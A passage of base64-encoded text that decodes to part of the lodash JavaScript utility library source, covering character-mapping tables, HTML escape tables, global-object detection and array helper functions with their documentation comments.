xNSc6ICdlJywgJ1xcdTAxMTcnOiAnZScsICdcXHUwMTE5JzogJ2UnLCAnXFx1MDExYic6ICdlJyxcbiAgICAnXFx1MDExYyc6ICdHJywgICdcXHUwMTFlJzogJ0cnLCAnXFx1MDEyMCc6ICdHJywgJ1xcdTAxMjInOiAnRycsXG4gICAgJ1xcdTAxMWQnOiAnZycsICAnXFx1MDExZic6ICdnJywgJ1xcdTAxMjEnOiAnZycsICdcXHUwMTIzJzogJ2cnLFxuICAgICdcXHUwMTI0JzogJ0gnLCAgJ1xcdTAxMjYnOiAnSCcsICdcXHUwMTI1JzogJ2gnLCAnXFx1MDEyNyc6ICdoJyxcbiAgICAnXFx1MDEyOCc6ICdJJywgICdcXHUwMTJhJzogJ0knLCAnXFx1MDEyYyc6ICdJJywgJ1xcdTAxMmUnOiAnSScsICdcXHUwMTMwJzogJ0knLFxuICAgICdcXHUwMTI5JzogJ2knLCAgJ1xcdTAxMmInOiAnaScsICdcXHUwMTJkJzogJ2knLCAnXFx1MDEyZic6ICdpJywgJ1xcdTAxMzEnOiAnaScsXG4gICAgJ1xcdTAxMzQnOiAnSicsICAnXFx1MDEzNSc6ICdqJyxcbiAgICAnXFx1MDEzNic6ICdLJywgICdcXHUwMTM3JzogJ2snLCAnXFx1MDEzOCc6ICdrJyxcbiAgICAnXFx1MDEzOSc6ICdMJywgICdcXHUwMTNiJzogJ0wnLCAnXFx1MDEzZCc6ICdMJywgJ1xcdTAxM2YnOiAnTCcsICdcXHUwMTQxJzogJ0wnLFxuICAgICdcXHUwMTNhJzogJ2wnLCAgJ1xcdTAxM2MnOiAnbCcsICdcXHUwMTNlJzogJ2wnLCAnXFx1MDE0MCc6ICdsJywgJ1xcdTAxNDInOiAnbCcsXG4gICAgJ1xcdTAxNDMnOiAnTicsICAnXFx1MDE0NSc6ICdOJywgJ1xcdTAxNDcnOiAnTicsICdcXHUwMTRhJzogJ04nLFxuICAgICdcXHUwMTQ0JzogJ24nLCAgJ1xcdTAxNDYnOiAnbicsICdcXHUwMTQ4JzogJ24nLCAnXFx1MDE0Yic6ICduJyxcbiAgICAnXFx1MDE0Yyc6ICdPJywgICdcXHUwMTRlJzogJ08nLCAnXFx1MDE1MCc6ICdPJyxcbiAgICAnXFx1MDE0ZCc6ICdvJywgICdcXHUwMTRmJzogJ28nLCAnXFx1MDE1MSc6ICdvJyxcbiAgICAnXFx1MDE1NCc6ICdSJywgICdcXHUwMTU2JzogJ1InLCAnXFx1MDE1OCc6ICdSJyxcbiAgICAnXFx1MDE1NSc6ICdyJywgICdcXHUwMTU3JzogJ3InLCAnXFx1MDE1OSc6ICdyJyxcbiAgICAnXFx1MDE1YSc6ICdTJywgICdcXHUwMTVjJzogJ1MnLCAnXFx1MDE1ZSc6ICdTJywgJ1xcdTAxNjAnOiAnUycsXG4gICAgJ1xcdTAxNWInOiAncycsICAnXFx1MDE1ZCc6ICdzJywgJ1xcdTAxNWYnOiAncycsICdcXHUwMTYxJzogJ3MnLFxuICAgICdcXHUwMTYyJzogJ1QnLCAgJ1xcdTAxNjQnOiAnVCcsICdcXHUwMTY2JzogJ1QnLFxuICAgICdcXHUwMTYzJzogJ3QnLCAgJ1xcdTAxNjUnOiAndCcsICdcXHUwMTY3JzogJ3QnLFxuICAgICdcXHUwMTY4JzogJ1UnLCAgJ1xcdTAxNmEnOiAnVScsICdcXHUwMTZjJzogJ1UnLCAnXFx1MDE2ZSc6ICdVJywgJ1xcdTAxNzAnOiAnVScsICdcXHUwMTcyJzogJ1UnLFxuICAgICdcXHUwMTY5JzogJ3UnLCAgJ1xcdTAxNmInOiAndScsICdcXHUwMTZkJzogJ3UnLCAnXFx1MDE2Zic6ICd1JywgJ1xcdTAxNzEnOiAndScsICdcXHUwMTczJzogJ3UnLFxuICAgICdcXHUwMTc0JzogJ1cnLCAgJ1xcdTAxNzUnOiAndycsXG4gICAgJ1xcdTAxNzYnOiAnWScsICAnXFx1MDE3Nyc6ICd5JywgJ1xcdTAxNzgnOiAnWScsXG4gICAgJ1xcdTAxNzknOiAnWicsICAnXFx1MDE3Yic6ICdaJywgJ1xcdTAxN2QnOiAnWicsXG4gICAgJ1xcdTAxN2EnOiAneicsICAnXFx1MDE3Yyc6ICd6JywgJ1xcdTAxN2UnOiAneicsXG4gICAgJ1xcdTAxMzInOiAnSUonLCAnXFx1MDEzMyc6ICdpaicsXG4gICAgJ1xcdTAxNTInOiAnT2UnLCAnXFx1MDE1Myc6ICdvZScsXG4gICAgJ1xcdTAxNDknOiBcIiduXCIsICdcXHUwMTdmJzogJ3MnXG4gIH07XG5cbiAgLyoqIFVzZWQgdG8gbWFwIGNoYXJhY3RlcnMgdG8gSFRNTCBlbnRpdGllcy4gKi9cbiAgdmFyIGh0bWxFc2NhcGVzID0ge1xuICAgICcmJzogJyZhbXA7JyxcbiAgICAnPCc6ICcmbHQ7JyxcbiAgICAnPic6ICcmZ3Q7JyxcbiAgICAnXCInOiAnJnF1b3Q7JyxcbiAgICBcIidcIjogJyYjMzk7J1xuICB9O1xuXG4gIC8qKiBVc2VkIHRvIG1hcCBIVE1MIGVudGl0aWVzIHRvIGNoYXJhY3RlcnMuICovXG4gIHZhciBodG1sVW5lc2NhcGVzID0ge1xuICAgICcmYW1wOyc6ICcmJyxcbiAgICAnJmx0Oyc6ICc8JyxcbiAgICAnJmd0Oyc6ICc+JyxcbiAgICAnJnF1b3Q7JzogJ1wiJyxcbiAgICAnJiMzOTsnOiBcIidcIlxuICB9O1xuXG4gIC8qKiBVc2VkIHRvIGVzY2FwZSBjaGFyYWN0ZXJzIGZvciBpbmNsdXNpb24gaW4gY29tcGlsZWQgc3RyaW5nIGxpdGVyYWxzLiAqL1xuICB2YXIgc3RyaW5nRXNjYXBlcyA9IHtcbiAgICAnXFxcXCc6ICdcXFxcJyxcbiAgICBcIidcIjogXCInXCIsXG4gICAgJ1xcbic6ICduJyxcbiAgICAnXFxyJzogJ3InLFxuICAgICdcXHUyMDI4JzogJ3UyMDI4JyxcbiAgICAnXFx1MjAyOSc6ICd1MjAyOSdcbiAgfTtcblxuICAvKiogQnVpbHQtaW4gbWV0aG9kIHJlZmVyZW5jZXMgd2l0aG91dCBhIGRlcGVuZGVuY3kgb24gYHJvb3RgLiAqL1xuICB2YXIgZnJlZVBhcnNlRmxvYXQgPSBwYXJzZUZsb2F0LFxuICAgICAgZnJlZVBhcnNlSW50ID0gcGFyc2VJbnQ7XG5cbiAgLyoqIERldGVjdCBmcmVlIHZhcmlhYmxlIGBnbG9iYWxgIGZyb20gTm9kZS5qcy4gKi9cbiAgdmFyIGZyZWVHbG9iYWwgPSB0eXBlb2YgZ2xvYmFsID09ICdvYmplY3QnICYmIGdsb2JhbCAmJiBnbG9iYWwuT2JqZWN0ID09PSBPYmplY3QgJiYgZ2xvYmFsO1xuXG4gIC8qKiBEZXRlY3QgZnJlZSB2YXJpYWJsZSBgc2VsZmAuICovXG4gIHZhciBmcmVlU2VsZiA9IHR5cGVvZiBzZWxmID09ICdvYmplY3QnICYmIHNlbGYgJiYgc2VsZi5PYmplY3QgPT09IE9iamVjdCAmJiBzZWxmO1xuXG4gIC8qKiBVc2VkIGFzIGEgcmVmZXJlbmNlIHRvIHRoZSBnbG9iYWwgb2JqZWN0LiAqL1xuICB2YXIgcm9vdCA9IGZyZWVHbG9iYWwgfHwgZnJlZVNlbGYgfHwgRnVuY3Rpb24oJ3JldHVybiB0aGlzJykoKTtcblxuICAvKiogRGV0ZWN0IGZyZWUgdmFyaWFibGUgYGV4cG9ydHNgLiAqL1xuICB2YXIgZnJlZUV4cG9ydHMgPSB0eXBlb2YgZXhwb3J0cyA9PSAnb2JqZWN0JyAmJiBleHBvcnRzICYmICFleHBvcnRzLm5vZGVUeXBlICYmIGV4cG9ydHM7XG5cbiAgLyoqIERldGVjdCBmcmVlIHZhcmlhYmxlIGBtb2R1bGVgLiAqL1xuICB2YXIgZnJlZU1vZHVsZSA9IGZyZWVFeHBvcnRzICYmIHR5cGVvZiBtb2R1bGUgPT0gJ29iamVjdCcgJiYgbW9kdWxlICYmICFtb2R1bGUubm9kZVR5cGUgJiYgbW9kdWxlO1xuXG4gIC8qKiBEZXRlY3QgdGhlIHBvcHVsYXIgQ29tbW9uSlMgZXh0ZW5zaW9uIGBtb2R1bGUuZXhwb3J0c2AuICovXG4gIHZhciBtb2R1bGVFeHBvcnRzID0gZnJlZU1vZHVsZSAmJiBmcmVlTW9kdWxlLmV4cG9ydHMgPT09IGZyZWVFeHBvcnRzO1xuXG4gIC8qKiBEZXRlY3QgZnJlZSB2YXJpYWJsZSBgcHJvY2Vzc2AgZnJvbSBOb2RlLmpzLiAqL1xuICB2YXIgZnJlZVByb2Nlc3MgPSBtb2R1bGVFeHBvcnRzICYmIGZyZWVHbG9iYWwucHJvY2VzcztcblxuICAvKiogVXNlZCB0byBhY2Nlc3MgZmFzdGVyIE5vZGUuanMgaGVscGVycy4gKi9cbiAgdmFyIG5vZGVVdGlsID0gKGZ1bmN0aW9uKCkge1xuICAgIHRyeSB7XG4gICAgICAvLyBVc2UgYHV0aWwudHlwZXNgIGZvciBOb2RlLmpzIDEwKy5cbiAgICAgIHZhciB0eXBlcyA9IGZyZWVNb2R1bGUgJiYgZnJlZU1vZHVsZS5yZXF1aXJlICYmIGZyZWVNb2R1bGUucmVxdWlyZSgndXRpbCcpLnR5cGVzO1xuXG4gICAgICBpZiAodHlwZXMpIHtcbiAgICAgICAgcmV0dXJuIHR5cGVzO1xuICAgICAgfVxuXG4gICAgICAvLyBMZWdhY3kgYHByb2Nlc3MuYmluZGluZygndXRpbCcpYCBmb3IgTm9kZS5qcyA8IDEwLlxuICAgICAgcmV0dXJuIGZyZWVQcm9jZXNzICYmIGZyZWVQcm9jZXNzLmJpbmRpbmcgJiYgZnJlZVByb2Nlc3MuYmluZGluZygndXRpbCcpO1xuICAgIH0gY2F0Y2ggKGUpIHt9XG4gIH0oKSk7XG5cbiAgLyogTm9kZS5qcyBoZWxwZXIgcmVmZXJlbmNlcy4gKi9cbiAgdmFyIG5vZGVJc0FycmF5QnVmZmVyID0gbm9kZVV0aWwgJiYgbm9kZVV0aWwuaXNBcnJheUJ1ZmZlcixcbiAgICAgIG5vZGVJc0RhdGUgPSBub2RlVXRpbCAmJiBub2RlVXRpbC5pc0RhdGUsXG4gICAgICBub2RlSXNNYXAgPSBub2RlVXRpbCAmJiBub2RlVXRpbC5pc01hcCxcbiAgICAgIG5vZGVJc1JlZ0V4cCA9IG5vZGVVdGlsICYmIG5vZGVVdGlsLmlzUmVnRXhwLFxuICAgICAgbm9kZUlzU2V0ID0gbm9kZVV0aWwgJiYgbm9kZVV0aWwuaXNTZXQsXG4gICAgICBub2RlSXNUeXBlZEFycmF5ID0gbm9kZVV0aWwgJiYgbm9kZVV0aWwuaXNUeXBlZEFycmF5O1xuXG4gIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gIC8qKlxuICAgKiBBIGZhc3RlciBhbHRlcm5hdGl2ZSB0byBgRnVuY3Rpb24jYXBwbHlgLCB0aGlzIGZ1bmN0aW9uIGludm9rZXMgYGZ1bmNgXG4gICAqIHdpdGggdGhlIGB0aGlzYCBiaW5kaW5nIG9mIGB0aGlzQXJnYCBhbmQgdGhlIGFyZ3VtZW50cyBvZiBgYXJnc2AuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGludm9rZS5cbiAgICogQHBhcmFtIHsqfSB0aGlzQXJnIFRoZSBgdGhpc2AgYmluZGluZyBvZiBgZnVuY2AuXG4gICAqIEBwYXJhbSB7QXJyYXl9IGFyZ3MgVGhlIGFyZ3VtZW50cyB0byBpbnZva2UgYGZ1bmNgIHdpdGguXG4gICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSByZXN1bHQgb2YgYGZ1bmNgLlxuICAgKi9cbiAgZnVuY3Rpb24gYXBwbHkoZnVuYywgdGhpc0FyZywgYXJncykge1xuICAgIHN3aXRjaCAoYXJncy5sZW5ndGgpIHtcbiAgICAgIGNhc2UgMDogcmV0dXJuIGZ1bmMuY2FsbCh0aGlzQXJnKTtcbiAgICAgIGNhc2UgMTogcmV0dXJuIGZ1bmMuY2FsbCh0aGlzQXJnLCBhcmdzWzBdKTtcbiAgICAgIGNhc2UgMjogcmV0dXJuIGZ1bmMuY2FsbCh0aGlzQXJnLCBhcmdzWzBdLCBhcmdzWzFdKTtcbiAgICAgIGNhc2UgMzogcmV0dXJuIGZ1bmMuY2FsbCh0aGlzQXJnLCBhcmdzWzBdLCBhcmdzWzFdLCBhcmdzWzJdKTtcbiAgICB9XG4gICAgcmV0dXJuIGZ1bmMuYXBwbHkodGhpc0FyZywgYXJncyk7XG4gIH1cblxuICAvKipcbiAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBiYXNlQWdncmVnYXRvcmAgZm9yIGFycmF5cy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtBcnJheX0gW2FycmF5XSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBzZXR0ZXIgVGhlIGZ1bmN0aW9uIHRvIHNldCBgYWNjdW11bGF0b3JgIHZhbHVlcy5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGl0ZXJhdGVlIHRvIHRyYW5zZm9ybSBrZXlzLlxuICAgKiBAcGFyYW0ge09iamVjdH0gYWNjdW11bGF0b3IgVGhlIGluaXRpYWwgYWdncmVnYXRlZCBvYmplY3QuXG4gICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyBgYWNjdW11bGF0b3JgLlxuICAgKi9cbiAgZnVuY3Rpb24gYXJyYXlBZ2dyZWdhdG9yKGFycmF5LCBzZXR0ZXIsIGl0ZXJhdGVlLCBhY2N1bXVsYXRvcikge1xuICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aDtcblxuICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICB2YXIgdmFsdWUgPSBhcnJheVtpbmRleF07XG4gICAgICBzZXR0ZXIoYWNjdW11bGF0b3IsIHZhbHVlLCBpdGVyYXRlZSh2YWx1ZSksIGFycmF5KTtcbiAgICB9XG4gICAgcmV0dXJuIGFjY3VtdWxhdG9yO1xuICB9XG5cbiAgLyoqXG4gICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgXy5mb3JFYWNoYCBmb3IgYXJyYXlzIHdpdGhvdXQgc3VwcG9ydCBmb3JcbiAgICogaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtBcnJheX0gW2FycmF5XSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICovXG4gIGZ1bmN0aW9uIGFycmF5RWFjaChhcnJheSwgaXRlcmF0ZWUpIHtcbiAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG5cbiAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgaWYgKGl0ZXJhdGVlKGFycmF5W2luZGV4XSwgaW5kZXgsIGFycmF5KSA9PT0gZmFsc2UpIHtcbiAgICAgICAgYnJlYWs7XG4gICAgICB9XG4gICAgfVxuICAgIHJldHVybiBhcnJheTtcbiAgfVxuXG4gIC8qKlxuICAgKiBBIHNwZWNpYWxpemVkIHZlcnNpb24gb2YgYF8uZm9yRWFjaFJpZ2h0YCBmb3IgYXJyYXlzIHdpdGhvdXQgc3VwcG9ydCBmb3JcbiAgICogaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtBcnJheX0gW2FycmF5XSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICovXG4gIGZ1bmN0aW9uIGFycmF5RWFjaFJpZ2h0KGFycmF5LCBpdGVyYXRlZSkge1xuICAgIHZhciBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aDtcblxuICAgIHdoaWxlIChsZW5ndGgtLSkge1xuICAgICAgaWYgKGl0ZXJhdGVlKGFycmF5W2xlbmd0aF0sIGxlbmd0aCwgYXJyYXkpID09PSBmYWxzZSkge1xuICAgICAgICBicmVhaztcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGFycmF5O1xuICB9XG5cbiAgLyoqXG4gICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgXy5ldmVyeWAgZm9yIGFycmF5cyB3aXRob3V0IHN1cHBvcnQgZm9yXG4gICAqIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IFthcnJheV0gVGhlIGFycmF5IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gcHJlZGljYXRlIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhbGwgZWxlbWVudHMgcGFzcyB0aGUgcHJlZGljYXRlIGNoZWNrLFxuICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgKi9cbiAgZnVuY3Rpb24gYXJyYXlFdmVyeShhcnJheSwgcHJlZGljYXRlKSB7XG4gICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuXG4gICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgIGlmICghcHJlZGljYXRlKGFycmF5W2luZGV4XSwgaW5kZXgsIGFycmF5KSkge1xuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICB9XG4gICAgfVxuICAgIHJldHVybiB0cnVlO1xuICB9XG5cbiAgLyoqXG4gICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgXy5maWx0ZXJgIGZvciBhcnJheXMgd2l0aG91dCBzdXBwb3J0IGZvclxuICAgKiBpdGVyYXRlZSBzaG9ydGhhbmRzLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0FycmF5fSBbYXJyYXldIFRoZSBhcnJheSB0byBpdGVyYXRlIG92ZXIuXG4gICAqIEBwYXJhbSB7RnVuY3Rpb259IHByZWRpY2F0ZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBmaWx0ZXJlZCBhcnJheS5cbiAgICovXG4gIGZ1bmN0aW9uIGFycmF5RmlsdGVyKGFycmF5LCBwcmVkaWNhdGUpIHtcbiAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGgsXG4gICAgICAgIHJlc0luZGV4ID0gMCxcbiAgICAgICAgcmVzdWx0ID0gW107XG5cbiAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgdmFyIHZhbHVlID0gYXJyYXlbaW5kZXhdO1xuICAgICAgaWYgKHByZWRpY2F0ZSh2YWx1ZSwgaW5kZXgsIGFycmF5KSkge1xuICAgICAgICByZXN1bHRbcmVzSW5kZXgrK10gPSB2YWx1ZTtcbiAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIHJlc3VsdDtcbiAgfVxuXG4gIC8qKlxuICAgKiBBIHNwZWNpYWxpemVkIHZlcnNpb24gb2YgYF8uaW5jbHVkZXNgIGZvciBhcnJheXMgd2l0aG91dCBzdXBwb3J0IGZvclxuICAgKiBzcGVjaWZ5aW5nIGFuIGluZGV4IHRvIHNlYXJjaCBmcm9tLlxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKiBAcGFyYW0ge0FycmF5fSBbYXJyYXldIFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgKiBAcGFyYW0geyp9IHRhcmdldCBUaGUgdmFsdWUgdG8gc2VhcmNoIGZvci5cbiAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB0YXJnZXRgIGlzIGZvdW5kLCBlbHNlIGBmYWxzZWAuXG4gICAqL1xuICBmdW5jdGlvbiBhcnJheUluY2x1ZGVzKGFycmF5LCB2YWx1ZSkge1xuICAgIHZhciBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aDtcbiAgICByZXR1cm4gISFsZW5ndGggJiYgYmFzZUluZGV4T2YoYXJyYXksIHZhbHVlLCAwKSA+IC0xO1xuICB9XG5cbiAgLyoqXG4gICAqIFRoaXMgZnVuY3Rpb24gaXMgbGlrZSBgYXJyYXlJbmNsdWRlc2AgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBhIGNvbXBhcmF0b3IuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IFthcnJheV0gVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAqIEBwYXJhbSB7Kn0gdGFyZ2V0IFRoZSB2YWx1ZSB0byBzZWFyY2ggZm9yLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBjb21wYXJhdG9yIFRoZSBjb21wYXJhdG9yIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdGFyZ2V0YCBpcyBmb3VuZCwgZWxzZSBgZmFsc2VgLlxuICAgKi9cbiAgZnVuY3Rpb24gYXJyYXlJbmNsdWRlc1dpdGgoYXJyYXksIHZhbHVlLCBjb21wYXJhdG9yKSB7XG4gICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuXG4gICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgIGlmIChjb21wYXJhdG9yKHZhbHVlLCBhcnJheVtpbmRleF0pKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG4gIH1cblxuICAvKipcbiAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBfLm1hcGAgZm9yIGFycmF5cyB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlXG4gICAqIHNob3J0aGFuZHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IFthcnJheV0gVGhlIGFycmF5IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgbWFwcGVkIGFycmF5LlxuICAgKi9cbiAgZnVuY3Rpb24gYXJyYXlNYXAoYXJyYXksIGl0ZXJhdGVlKSB7XG4gICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoLFxuICAgICAgICByZXN1bHQgPSBBcnJheShsZW5ndGgpO1xuXG4gICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgIHJlc3VsdFtpbmRleF0gPSBpdGVyYXRlZShhcnJheVtpbmRleF0sIGluZGV4LCBhcnJheSk7XG4gICAgfVxuICAgIHJldHVybiByZXN1bHQ7XG4gIH1cblxuICAvKipcbiAgICogQXBwZW5kcyB0aGUgZWxlbWVudHMgb2YgYHZhbHVlc2AgdG8gYGFycmF5YC5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIG1vZGlmeS5cbiAgICogQHBhcmFtIHtBcnJheX0gdmFsdWVzIFRoZSB2YWx1ZXMgdG8gYXBwZW5kLlxuICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgYGFycmF5YC5cbiAgICovXG4gIGZ1bmN0aW9uIGFycmF5UHVzaChhcnJheSwgdmFsdWVzKSB7XG4gICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgIGxlbmd0aCA9IHZhbHVlcy5sZW5ndGgsXG4gICAgICAgIG9mZnNldCA9IGFycmF5Lmxlbmd0aDtcblxuICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICBhcnJheVtvZmZzZXQgKyBpbmRleF0gPSB2YWx1ZXNbaW5kZXhdO1xuICAgIH1cbiAgICByZXR1cm4gYXJyYXk7XG4gIH1cblxuICAvKipcbiAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBfLnJlZHVjZWAgZm9yIGFycmF5cyB3aXRob3V0IHN1cHBvcnQgZm9yXG4gICAqIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqIEBwYXJhbSB7QXJyYXl9IFthcnJheV0gVGhlIGFycmF5IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICogQHBhcmFtIHtGdW5jdGlvbn0gaXRlcmF0ZWUgVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICogQHBhcmFtIHsqfSBbYWNjdW11bGF0b3JdIFRoZSBpbml0aWFsIHZhbHVlLlxuICAgKiBAcGFyYW0ge2Jvb2xlYW59IFtpbml0QWNjdW1dIFNwZWNpZnkgdXNpbmcgdGhlIGZpcnN0IGVsZW1lbnQgb2YgYGFycmF5YCBhc1xuICAgKiAgdGhlIGluaXRpYWwgdmFsdWUuXG4gICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSBhY2N1bXVsYXRlZCB2YWx1ZS5cbiAgICovXG4gIGZ1bmN0aW9uIGFycmF5UmVkdWNlKGFycmF5LCBpdGVyYXRlZSwgYWNjdW11bGF0b3IsIGluaXRBY2N1bSkge1xuICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aDtcblxuICAgIGlmIChpbml0QWNjdW0gJiYgbGVuZ3RoKSB7XG4gICAgICBhY2N1bXVsYXRvciA9IGFycmF5WysraW5kZXhdO1xuICAgIH1cbiAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgYWNjdW11bGF0b3IgPSBpdGVyYXRlZShhY2N1bXVsYXRvciwgYXJyYXlbaW5kZXhdLCBpbmRleCwgYXJyYXkpO1xuICAgIH1cbiAgICByZXR1cm4gYWNjdW11bGF0b3I7XG4gIH1cblxuICAvKipcbiAgICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBfLnJlZHVjZVJpZ2h0YCBmb3IgYXJyYXlzIHdpdGhvdXQgc3VwcG9ydCBmb3JcbiAgICogaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICpcbiAgICogQHByaXZhdGVcbiAgICogQHBhcmFtIHtBcnJheX0gW2FycmF5XSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgKiBAcGFyYW0geyp9IFthY2N1bXVsYXRvcl0gVGhlIGluaXRpYWwgdmFsdWUuXG4gICAqIEBwYXJhbSB7Ym9vbGVhbn0gW2luaXRBY2N1bV0gU3BlY2lmeSB1c2luZyB0aGUgbGFzdCBlbGVtZW50IG9mIGBhcnJheWAgYXNcbiAgICogIHRoZSBpbml0aWFsIHZhbHVlLlxuICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgYWNjdW11bGF0ZWQgdmFsdWUuXG4gICAqL1xuICBmdW5jdGlvbiBhcnJheVJlZHVjZVJpZ2h0KGFycmF5LCBpdGVyYXRlZSwgYWNjdW11bGF0b3IsIGluaXRBY2N1bSkge1xuICAgIHZhciBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmx